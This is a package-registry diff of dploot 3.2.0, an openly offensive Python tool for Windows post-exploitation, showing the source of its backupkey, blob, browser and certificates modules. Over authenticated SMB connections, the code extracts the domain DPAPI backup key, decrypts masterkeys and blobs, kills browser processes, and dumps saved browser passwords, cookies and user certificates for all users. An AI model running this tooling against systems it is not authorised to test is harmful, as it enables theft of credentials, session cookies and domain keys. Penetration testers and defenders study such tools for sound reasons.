dploot 3.2.0__py2.py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dploot/__init__.py +0 -0
- dploot/action/__init__.py +0 -0
- dploot/action/backupkey.py +102 -0
- dploot/action/blob.py +167 -0
- dploot/action/browser.py +192 -0
- dploot/action/certificates.py +146 -0
- dploot/action/cng.py +129 -0
- dploot/action/credentials.py +132 -0
- dploot/action/machinecertificates.py +136 -0
- dploot/action/machinecng.py +120 -0
- dploot/action/machinecredentials.py +120 -0
- dploot/action/machinemasterkeys.py +117 -0
- dploot/action/machinetriage.py +158 -0
- dploot/action/machinevaults.py +127 -0
- dploot/action/masterkeys.py +200 -0
- dploot/action/mobaxterm.py +138 -0
- dploot/action/rdg.py +132 -0
- dploot/action/sccm.py +125 -0
- dploot/action/triage.py +187 -0
- dploot/action/vaults.py +132 -0
- dploot/action/wam.py +133 -0
- dploot/action/wifi.py +137 -0
- dploot/entry.py +98 -0
- dploot/lib/__init__.py +0 -0
- dploot/lib/consts.py +30 -0
- dploot/lib/crypto.py +415 -0
- dploot/lib/dpapi.py +302 -0
- dploot/lib/masterkey.py +75 -0
- dploot/lib/smb.py +517 -0
- dploot/lib/target.py +219 -0
- dploot/lib/utils.py +99 -0
- dploot/lib/wmi.py +61 -0
- dploot/triage/__init__.py +30 -0
- dploot/triage/backupkey.py +81 -0
- dploot/triage/browser.py +441 -0
- dploot/triage/certificates.py +444 -0
- dploot/triage/cng.py +165 -0
- dploot/triage/credentials.py +163 -0
- dploot/triage/masterkeys.py +279 -0
- dploot/triage/mobaxterm.py +653 -0
- dploot/triage/rdg.py +249 -0
- dploot/triage/sccm.py +302 -0
- dploot/triage/vaults.py +307 -0
- dploot/triage/wam.py +251 -0
- dploot/triage/wifi.py +424 -0
- dploot-3.2.0.dist-info/METADATA +865 -0
- dploot-3.2.0.dist-info/RECORD +50 -0
- dploot-3.2.0.dist-info/WHEEL +4 -0
- dploot-3.2.0.dist-info/entry_points.txt +3 -0
- dploot-3.2.0.dist-info/licenses/LICENSE +21 -0
dploot/__init__.py
ADDED
|
File without changes
|
|
File without changes
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
from binascii import hexlify
|
|
4
|
+
import sys
|
|
5
|
+
from typing import Callable, Tuple
|
|
6
|
+
|
|
7
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
8
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
9
|
+
from dploot.triage.backupkey import BackupkeyTriage
|
|
10
|
+
|
|
11
|
+
NAME = "backupkey"
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
class BackupkeyAction:
|
|
15
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
16
|
+
self.options = options
|
|
17
|
+
self.target = Target.from_options(options)
|
|
18
|
+
|
|
19
|
+
self.conn = None
|
|
20
|
+
self._is_admin = None
|
|
21
|
+
self.dce = None
|
|
22
|
+
self.outputfile = None
|
|
23
|
+
self.legacy = self.options.legacy
|
|
24
|
+
|
|
25
|
+
if self.options.outputfile is not None and self.options.outputfile != "":
|
|
26
|
+
self.outputfile = self.options.outputfile
|
|
27
|
+
else:
|
|
28
|
+
self.outputfile = "key.pvk"
|
|
29
|
+
|
|
30
|
+
def connect(self) -> None:
|
|
31
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
32
|
+
if self.conn.connect() is None:
|
|
33
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
34
|
+
sys.exit(1)
|
|
35
|
+
if self.conn.local_session:
|
|
36
|
+
logging.error("Backup key is not implemented with LOCAL target.")
|
|
37
|
+
sys.exit(1)
|
|
38
|
+
|
|
39
|
+
def run(self) -> None:
|
|
40
|
+
self.connect()
|
|
41
|
+
logging.info(
|
|
42
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
43
|
+
self.target.address,
|
|
44
|
+
self.target.domain,
|
|
45
|
+
self.target.username,
|
|
46
|
+
("(admin)" if self.is_admin else ""),
|
|
47
|
+
)
|
|
48
|
+
)
|
|
49
|
+
triage = BackupkeyTriage(target=self.target, conn=self.conn)
|
|
50
|
+
backupkey = triage.triage_backupkey()
|
|
51
|
+
if backupkey.backupkey_v1 is not None and self.legacy:
|
|
52
|
+
if not self.options.quiet:
|
|
53
|
+
print("Legacy key:")
|
|
54
|
+
print("0x%s" % hexlify(backupkey.backupkey_v1).decode("latin-1"))
|
|
55
|
+
print("\n")
|
|
56
|
+
logging.info("Exporting key to file {}".format(self.outputfile + ".key"))
|
|
57
|
+
open(self.outputfile + ".key", "wb").write(backupkey.backupkey_v1)
|
|
58
|
+
if not self.options.quiet:
|
|
59
|
+
print("[DOMAIN BACKUPKEY V2]")
|
|
60
|
+
backupkey.pvk_header.dump()
|
|
61
|
+
print(
|
|
62
|
+
"PRIVATEKEYBLOB:{%s}"
|
|
63
|
+
% (hexlify(backupkey.backupkey_v2).decode("latin-1"))
|
|
64
|
+
)
|
|
65
|
+
print("\n")
|
|
66
|
+
logging.critical(
|
|
67
|
+
f"Exporting domain backupkey to file {self.outputfile}"
|
|
68
|
+
)
|
|
69
|
+
open(self.outputfile, "wb").write(backupkey.backupkey_v2)
|
|
70
|
+
|
|
71
|
+
@property
|
|
72
|
+
def is_admin(self) -> bool:
|
|
73
|
+
if self._is_admin is not None:
|
|
74
|
+
return self._is_admin
|
|
75
|
+
|
|
76
|
+
self._is_admin = self.conn.is_admin()
|
|
77
|
+
return self._is_admin
|
|
78
|
+
|
|
79
|
+
|
|
80
|
+
def entry(options: argparse.Namespace) -> None:
|
|
81
|
+
a = BackupkeyAction(options)
|
|
82
|
+
a.run()
|
|
83
|
+
|
|
84
|
+
|
|
85
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
86
|
+
subparser = subparsers.add_parser(NAME, help="Backup Keys from domain controller")
|
|
87
|
+
|
|
88
|
+
group = subparser.add_argument_group("backupkey options")
|
|
89
|
+
|
|
90
|
+
group.add_argument(
|
|
91
|
+
"-outputfile",
|
|
92
|
+
action="store",
|
|
93
|
+
help=("Export keys to specific filename (default key.pvk)"),
|
|
94
|
+
)
|
|
95
|
+
|
|
96
|
+
group.add_argument(
|
|
97
|
+
"-legacy", action="store_true", help=("Get also backupkey v1 (legacy)")
|
|
98
|
+
)
|
|
99
|
+
|
|
100
|
+
add_target_argument_group(subparser)
|
|
101
|
+
|
|
102
|
+
return NAME, entry
|
dploot/action/blob.py
ADDED
|
@@ -0,0 +1,167 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import base64
|
|
3
|
+
import logging
|
|
4
|
+
import os
|
|
5
|
+
import sys
|
|
6
|
+
from typing import Callable, Tuple
|
|
7
|
+
from dploot.action.masterkeys import (
|
|
8
|
+
add_masterkeys_argument_group,
|
|
9
|
+
parse_masterkeys_options,
|
|
10
|
+
)
|
|
11
|
+
|
|
12
|
+
from impacket.dpapi import DPAPI_BLOB
|
|
13
|
+
|
|
14
|
+
from dploot.lib.dpapi import decrypt_blob, find_masterkey_for_blob
|
|
15
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
16
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
17
|
+
from dploot.lib.utils import dump_looted_files_to_disk, find_guid, find_sha1, handle_outputdir_option
|
|
18
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
|
19
|
+
|
|
20
|
+
NAME = "blob"
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
class BlobAction:
|
|
24
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
25
|
+
self.options = options
|
|
26
|
+
self.target = Target.from_options(options)
|
|
27
|
+
|
|
28
|
+
self.conn = None
|
|
29
|
+
self._is_admin = None
|
|
30
|
+
self.outputdir = None
|
|
31
|
+
self.masterkeys = None
|
|
32
|
+
self.pvkbytes = None
|
|
33
|
+
self.passwords = None
|
|
34
|
+
self.nthashes = None
|
|
35
|
+
|
|
36
|
+
if not self.handle_blob_option(self.options.blob):
|
|
37
|
+
sys.exit(1)
|
|
38
|
+
|
|
39
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
40
|
+
|
|
41
|
+
if self.options.mkfile is not None:
|
|
42
|
+
try:
|
|
43
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
44
|
+
except Exception as e:
|
|
45
|
+
logging.error(str(e))
|
|
46
|
+
sys.exit(1)
|
|
47
|
+
|
|
48
|
+
if self.options.masterkey is not None:
|
|
49
|
+
guid, sha1 = self.options.masterkey.split(":")
|
|
50
|
+
self.masterkeys[Masterkey(
|
|
51
|
+
guid=find_guid(guid),
|
|
52
|
+
sha1=find_sha1(sha1),
|
|
53
|
+
)]
|
|
54
|
+
|
|
55
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
56
|
+
self.options, self.target
|
|
57
|
+
)
|
|
58
|
+
|
|
59
|
+
def connect(self) -> None:
|
|
60
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
61
|
+
if self.conn.connect() is None:
|
|
62
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
63
|
+
sys.exit(1)
|
|
64
|
+
|
|
65
|
+
def run(self) -> None:
|
|
66
|
+
self.connect()
|
|
67
|
+
logging.info(
|
|
68
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
69
|
+
self.target.address,
|
|
70
|
+
self.target.domain,
|
|
71
|
+
self.target.username,
|
|
72
|
+
("(admin)" if self.is_admin else ""),
|
|
73
|
+
)
|
|
74
|
+
)
|
|
75
|
+
if self.is_admin:
|
|
76
|
+
if self.masterkeys is None:
|
|
77
|
+
|
|
78
|
+
def masterkey_triage(masterkey):
|
|
79
|
+
masterkey.dump()
|
|
80
|
+
|
|
81
|
+
masterkeytriage = MasterkeysTriage(
|
|
82
|
+
target=self.target,
|
|
83
|
+
conn=self.conn,
|
|
84
|
+
pvkbytes=self.pvkbytes,
|
|
85
|
+
nthashes=self.nthashes,
|
|
86
|
+
passwords=self.passwords,
|
|
87
|
+
per_masterkey_callback=masterkey_triage
|
|
88
|
+
if not self.options.quiet
|
|
89
|
+
else None,
|
|
90
|
+
)
|
|
91
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
92
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
93
|
+
print()
|
|
94
|
+
if self.outputdir is not None:
|
|
95
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
96
|
+
|
|
97
|
+
logging.info("Trying to decrypt DPAPI blob\n")
|
|
98
|
+
DPAPI_BLOB(self.blob).dump()
|
|
99
|
+
masterkey = find_masterkey_for_blob(self.blob, masterkeys=self.masterkeys)
|
|
100
|
+
if masterkey is not None:
|
|
101
|
+
cleartext = decrypt_blob(blob_bytes=self.blob, masterkey=masterkey, entropy=self.options.entropy if self.options.entropy != "" else None)
|
|
102
|
+
print("Data decrypted: %s" % cleartext)
|
|
103
|
+
else:
|
|
104
|
+
logging.info("Not an admin, exiting...")
|
|
105
|
+
|
|
106
|
+
@property
|
|
107
|
+
def is_admin(self) -> bool:
|
|
108
|
+
if self._is_admin is not None:
|
|
109
|
+
return self._is_admin
|
|
110
|
+
|
|
111
|
+
self._is_admin = self.conn.is_admin()
|
|
112
|
+
return self._is_admin
|
|
113
|
+
|
|
114
|
+
def handle_blob_option(self, blob_argument):
|
|
115
|
+
if os.path.isfile(blob_argument):
|
|
116
|
+
with open(blob_argument, "rb") as f:
|
|
117
|
+
self.blob = f.read()
|
|
118
|
+
return True
|
|
119
|
+
else:
|
|
120
|
+
try:
|
|
121
|
+
self.blob = base64.b64decode(blob_argument)
|
|
122
|
+
return True
|
|
123
|
+
except Exception:
|
|
124
|
+
logging.error(f"{blob_argument} does not seems to be a file nor a b64 encoded blob.")
|
|
125
|
+
return False
|
|
126
|
+
|
|
127
|
+
def entry(options: argparse.Namespace) -> None:
|
|
128
|
+
a = BlobAction(options)
|
|
129
|
+
a.run()
|
|
130
|
+
|
|
131
|
+
|
|
132
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
133
|
+
subparser = subparsers.add_parser(
|
|
134
|
+
NAME, help="Decrypt DPAPI blob. Can fetch masterkeys on target"
|
|
135
|
+
)
|
|
136
|
+
|
|
137
|
+
group = subparser.add_argument_group("blob options")
|
|
138
|
+
|
|
139
|
+
group.add_argument(
|
|
140
|
+
"-blob",
|
|
141
|
+
action="store",
|
|
142
|
+
required=True,
|
|
143
|
+
help=("Blob base64 encoded or in file"),
|
|
144
|
+
)
|
|
145
|
+
|
|
146
|
+
group.add_argument(
|
|
147
|
+
"-masterkey",
|
|
148
|
+
action="store",
|
|
149
|
+
help=("{GUID}:SHA1 masterkey"),
|
|
150
|
+
)
|
|
151
|
+
|
|
152
|
+
group.add_argument(
|
|
153
|
+
"-entropy",
|
|
154
|
+
action="store",
|
|
155
|
+
help=("Entropy value"),
|
|
156
|
+
)
|
|
157
|
+
|
|
158
|
+
group.add_argument(
|
|
159
|
+
"-mkfile",
|
|
160
|
+
action="store",
|
|
161
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
162
|
+
)
|
|
163
|
+
|
|
164
|
+
add_masterkeys_argument_group(group)
|
|
165
|
+
add_target_argument_group(subparser)
|
|
166
|
+
|
|
167
|
+
return NAME, entry
|
dploot/action/browser.py
ADDED
|
@@ -0,0 +1,192 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
from dploot.action.masterkeys import (
|
|
6
|
+
add_masterkeys_argument_group,
|
|
7
|
+
parse_masterkeys_options,
|
|
8
|
+
)
|
|
9
|
+
|
|
10
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
11
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
12
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
13
|
+
from dploot.triage.browser import BrowserTriage, Cookie
|
|
14
|
+
from dploot.triage.cng import CngTriage
|
|
15
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
16
|
+
|
|
17
|
+
NAME = "browser"
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
class BrowserAction:
|
|
21
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
22
|
+
self.options = options
|
|
23
|
+
self.target = Target.from_options(options)
|
|
24
|
+
|
|
25
|
+
self.conn = None
|
|
26
|
+
self._is_admin = None
|
|
27
|
+
self.outputdir = None
|
|
28
|
+
self.masterkeys = None
|
|
29
|
+
self.pvkbytes = None
|
|
30
|
+
self.passwords = None
|
|
31
|
+
self.nthashes = None
|
|
32
|
+
|
|
33
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
34
|
+
|
|
35
|
+
if self.options.mkfile is not None:
|
|
36
|
+
try:
|
|
37
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
38
|
+
except Exception as e:
|
|
39
|
+
logging.error(str(e))
|
|
40
|
+
sys.exit(1)
|
|
41
|
+
|
|
42
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
43
|
+
self.options, self.target
|
|
44
|
+
)
|
|
45
|
+
|
|
46
|
+
def connect(self) -> None:
|
|
47
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
48
|
+
if self.conn.connect() is None:
|
|
49
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
50
|
+
sys.exit(1)
|
|
51
|
+
|
|
52
|
+
def run(self) -> None:
|
|
53
|
+
self.connect()
|
|
54
|
+
logging.info(
|
|
55
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
56
|
+
self.target.address,
|
|
57
|
+
self.target.domain,
|
|
58
|
+
self.target.username,
|
|
59
|
+
("(admin)" if self.is_admin else ""),
|
|
60
|
+
)
|
|
61
|
+
)
|
|
62
|
+
if self.is_admin:
|
|
63
|
+
if self.masterkeys is None:
|
|
64
|
+
|
|
65
|
+
def masterkey_triage(masterkey):
|
|
66
|
+
masterkey.dump()
|
|
67
|
+
|
|
68
|
+
masterkeytriage = MasterkeysTriage(
|
|
69
|
+
target=self.target,
|
|
70
|
+
conn=self.conn,
|
|
71
|
+
pvkbytes=self.pvkbytes,
|
|
72
|
+
nthashes=self.nthashes,
|
|
73
|
+
passwords=self.passwords,
|
|
74
|
+
per_masterkey_callback=masterkey_triage
|
|
75
|
+
if not self.options.quiet
|
|
76
|
+
else None,
|
|
77
|
+
)
|
|
78
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
79
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
80
|
+
if self.options.v20support:
|
|
81
|
+
self.masterkeys += masterkeytriage.triage_system_masterkeys()
|
|
82
|
+
print()
|
|
83
|
+
if self.outputdir is not None:
|
|
84
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
85
|
+
|
|
86
|
+
if self.options.kill_browser:
|
|
87
|
+
logging.info("Killing browsers")
|
|
88
|
+
for browser_process_name in ["chrome.exe", "msedge.exe", "brave.exe"]:
|
|
89
|
+
self.conn.perform_taskkill(process_name=browser_process_name)
|
|
90
|
+
|
|
91
|
+
def secret_callback(secret):
|
|
92
|
+
if not self.options.show_cookies and isinstance(secret, Cookie):
|
|
93
|
+
return
|
|
94
|
+
if self.options.quiet:
|
|
95
|
+
secret.dump_quiet()
|
|
96
|
+
else:
|
|
97
|
+
secret.dump()
|
|
98
|
+
|
|
99
|
+
cng_chromekey = None
|
|
100
|
+
|
|
101
|
+
if self.options.v20support:
|
|
102
|
+
triage = CngTriage(
|
|
103
|
+
target=self.target,
|
|
104
|
+
conn=self.conn,
|
|
105
|
+
masterkeys=self.masterkeys,
|
|
106
|
+
)
|
|
107
|
+
logging.info("Triage SYSTEM CNG files\n")
|
|
108
|
+
|
|
109
|
+
for cng_file in triage.triage_system_cng():
|
|
110
|
+
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
|
111
|
+
logging.info("Found CNG Google ChromeKey1\n")
|
|
112
|
+
cng_chromekey = cng_file.decrypted_private_key
|
|
113
|
+
|
|
114
|
+
triage = BrowserTriage(
|
|
115
|
+
target=self.target,
|
|
116
|
+
conn=self.conn,
|
|
117
|
+
masterkeys=self.masterkeys,
|
|
118
|
+
per_secret_callback=secret_callback,
|
|
119
|
+
)
|
|
120
|
+
logging.info(
|
|
121
|
+
"Triage Browser Credentials%sfor ALL USERS\n"
|
|
122
|
+
% (" and Cookies " if self.options.show_cookies else " ")
|
|
123
|
+
)
|
|
124
|
+
triage.triage_browsers(
|
|
125
|
+
gather_cookies=self.options.show_cookies,
|
|
126
|
+
cng_chromekey=cng_chromekey,
|
|
127
|
+
bypass_shared_violation=self.options.bypass_shared_violation,
|
|
128
|
+
)
|
|
129
|
+
if self.outputdir is not None:
|
|
130
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
131
|
+
else:
|
|
132
|
+
logging.info("Not an admin, exiting...")
|
|
133
|
+
|
|
134
|
+
@property
|
|
135
|
+
def is_admin(self) -> bool:
|
|
136
|
+
if self._is_admin is not None:
|
|
137
|
+
return self._is_admin
|
|
138
|
+
|
|
139
|
+
self._is_admin = self.conn.is_admin()
|
|
140
|
+
return self._is_admin
|
|
141
|
+
|
|
142
|
+
|
|
143
|
+
def entry(options: argparse.Namespace) -> None:
|
|
144
|
+
a = BrowserAction(options)
|
|
145
|
+
a.run()
|
|
146
|
+
|
|
147
|
+
|
|
148
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
149
|
+
subparser = subparsers.add_parser(
|
|
150
|
+
NAME,
|
|
151
|
+
help="Dump users credentials and cookies saved in browser from local or remote target",
|
|
152
|
+
)
|
|
153
|
+
|
|
154
|
+
group = subparser.add_argument_group("browser options")
|
|
155
|
+
|
|
156
|
+
group.add_argument(
|
|
157
|
+
"-mkfile",
|
|
158
|
+
action="store",
|
|
159
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
160
|
+
)
|
|
161
|
+
|
|
162
|
+
add_masterkeys_argument_group(group)
|
|
163
|
+
|
|
164
|
+
group.add_argument(
|
|
165
|
+
"-show-cookies",
|
|
166
|
+
action="store_true",
|
|
167
|
+
help=("Output dumped cookies from browsers"),
|
|
168
|
+
)
|
|
169
|
+
|
|
170
|
+
group.add_argument(
|
|
171
|
+
"-bypass-shared-violation",
|
|
172
|
+
action="store_true",
|
|
173
|
+
help=("Will try to bypass Shared Violation Error with a silly esentutl trick"),
|
|
174
|
+
)
|
|
175
|
+
|
|
176
|
+
group.add_argument(
|
|
177
|
+
"-v20support",
|
|
178
|
+
action="store_true",
|
|
179
|
+
help=("Will dump v20 chromium credentials (will perform a LSA dump in form of reg save)"),
|
|
180
|
+
)
|
|
181
|
+
|
|
182
|
+
group.add_argument(
|
|
183
|
+
"-kill-browser",
|
|
184
|
+
action="store_true",
|
|
185
|
+
help=(
|
|
186
|
+
"Will try to kill browser's process. Usefull when Shared Violation Error"
|
|
187
|
+
),
|
|
188
|
+
)
|
|
189
|
+
|
|
190
|
+
add_target_argument_group(subparser)
|
|
191
|
+
|
|
192
|
+
return NAME, entry
|
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
import argparse
|
|
2
|
+
import logging
|
|
3
|
+
import sys
|
|
4
|
+
from typing import Callable, Tuple
|
|
5
|
+
from dploot.action.masterkeys import (
|
|
6
|
+
add_masterkeys_argument_group,
|
|
7
|
+
parse_masterkeys_options,
|
|
8
|
+
)
|
|
9
|
+
|
|
10
|
+
from dploot.lib.smb import DPLootSMBConnection
|
|
11
|
+
from dploot.lib.target import Target, add_target_argument_group
|
|
12
|
+
from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
|
|
13
|
+
from dploot.triage.certificates import CertificatesTriage
|
|
14
|
+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
|
15
|
+
|
|
16
|
+
NAME = "certificates"
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
class CertificatesAction:
|
|
20
|
+
def __init__(self, options: argparse.Namespace) -> None:
|
|
21
|
+
self.options = options
|
|
22
|
+
self.target = Target.from_options(options)
|
|
23
|
+
|
|
24
|
+
self.conn = None
|
|
25
|
+
self._is_admin = None
|
|
26
|
+
self.outputdir = None
|
|
27
|
+
self.masterkeys = None
|
|
28
|
+
self.pvkbytes = None
|
|
29
|
+
self.passwords = None
|
|
30
|
+
self.nthashes = None
|
|
31
|
+
|
|
32
|
+
self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
|
|
33
|
+
|
|
34
|
+
if self.options.mkfile is not None:
|
|
35
|
+
try:
|
|
36
|
+
self.masterkeys = parse_masterkey_file(self.options.mkfile)
|
|
37
|
+
except Exception as e:
|
|
38
|
+
logging.error(str(e))
|
|
39
|
+
sys.exit(1)
|
|
40
|
+
|
|
41
|
+
self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
|
|
42
|
+
self.options, self.target
|
|
43
|
+
)
|
|
44
|
+
|
|
45
|
+
def connect(self) -> None:
|
|
46
|
+
self.conn = DPLootSMBConnection(self.target)
|
|
47
|
+
if self.conn.connect() is None:
|
|
48
|
+
logging.error("Could not connect to %s" % self.target.address)
|
|
49
|
+
sys.exit(1)
|
|
50
|
+
|
|
51
|
+
def run(self) -> None:
|
|
52
|
+
self.connect()
|
|
53
|
+
logging.info(
|
|
54
|
+
"Connected to {} as {}\\{} {}\n".format(
|
|
55
|
+
self.target.address,
|
|
56
|
+
self.target.domain,
|
|
57
|
+
self.target.username,
|
|
58
|
+
("(admin)" if self.is_admin else ""),
|
|
59
|
+
)
|
|
60
|
+
)
|
|
61
|
+
if self.is_admin:
|
|
62
|
+
if self.masterkeys is None:
|
|
63
|
+
|
|
64
|
+
def masterkey_triage(masterkey):
|
|
65
|
+
masterkey.dump()
|
|
66
|
+
|
|
67
|
+
masterkeytriage = MasterkeysTriage(
|
|
68
|
+
target=self.target,
|
|
69
|
+
conn=self.conn,
|
|
70
|
+
pvkbytes=self.pvkbytes,
|
|
71
|
+
nthashes=self.nthashes,
|
|
72
|
+
passwords=self.passwords,
|
|
73
|
+
per_masterkey_callback=masterkey_triage
|
|
74
|
+
if not self.options.quiet
|
|
75
|
+
else None,
|
|
76
|
+
)
|
|
77
|
+
logging.info("Triage ALL USERS masterkeys\n")
|
|
78
|
+
self.masterkeys = masterkeytriage.triage_masterkeys()
|
|
79
|
+
print()
|
|
80
|
+
if self.outputdir is not None:
|
|
81
|
+
dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
|
|
82
|
+
|
|
83
|
+
def certificate_callback(certificate):
|
|
84
|
+
if not self.options.dump_all and not certificate.clientauth:
|
|
85
|
+
return
|
|
86
|
+
if not self.options.quiet:
|
|
87
|
+
certificate.dump()
|
|
88
|
+
filename = f"{certificate.username}_{certificate.filename[:16]}.pfx"
|
|
89
|
+
logging.critical("Writting certificate to %s" % filename)
|
|
90
|
+
if not self.options.quiet:
|
|
91
|
+
print() # better outputing
|
|
92
|
+
with open(filename, "wb") as f:
|
|
93
|
+
f.write(certificate.pfx)
|
|
94
|
+
|
|
95
|
+
triage = CertificatesTriage(
|
|
96
|
+
target=self.target,
|
|
97
|
+
conn=self.conn,
|
|
98
|
+
masterkeys=self.masterkeys,
|
|
99
|
+
per_certificate_callback=certificate_callback,
|
|
100
|
+
)
|
|
101
|
+
logging.info("Triage Certificates for ALL USERS\n")
|
|
102
|
+
triage.triage_certificates()
|
|
103
|
+
if self.outputdir is not None:
|
|
104
|
+
dump_looted_files_to_disk(self.outputdir, triage.looted_files)
|
|
105
|
+
|
|
106
|
+
else:
|
|
107
|
+
logging.info("Not an admin, exiting...")
|
|
108
|
+
|
|
109
|
+
@property
|
|
110
|
+
def is_admin(self) -> bool:
|
|
111
|
+
if self._is_admin is not None:
|
|
112
|
+
return self._is_admin
|
|
113
|
+
|
|
114
|
+
self._is_admin = self.conn.is_admin()
|
|
115
|
+
return self._is_admin
|
|
116
|
+
|
|
117
|
+
|
|
118
|
+
def entry(options: argparse.Namespace) -> None:
|
|
119
|
+
a = CertificatesAction(options)
|
|
120
|
+
a.run()
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
|
|
124
|
+
subparser = subparsers.add_parser(
|
|
125
|
+
NAME, help="Dump users certificates from local or remote target"
|
|
126
|
+
)
|
|
127
|
+
|
|
128
|
+
group = subparser.add_argument_group("certificates options")
|
|
129
|
+
|
|
130
|
+
group.add_argument(
|
|
131
|
+
"-mkfile",
|
|
132
|
+
action="store",
|
|
133
|
+
help=("File containing {GUID}:SHA1 masterkeys mappings"),
|
|
134
|
+
)
|
|
135
|
+
|
|
136
|
+
add_masterkeys_argument_group(group)
|
|
137
|
+
|
|
138
|
+
group.add_argument(
|
|
139
|
+
"-dump-all",
|
|
140
|
+
action="store_true",
|
|
141
|
+
help=("Dump also certificates not used for client authentication"),
|
|
142
|
+
)
|
|
143
|
+
|
|
144
|
+
add_target_argument_group(subparser)
|
|
145
|
+
|
|
146
|
+
return NAME, entry
|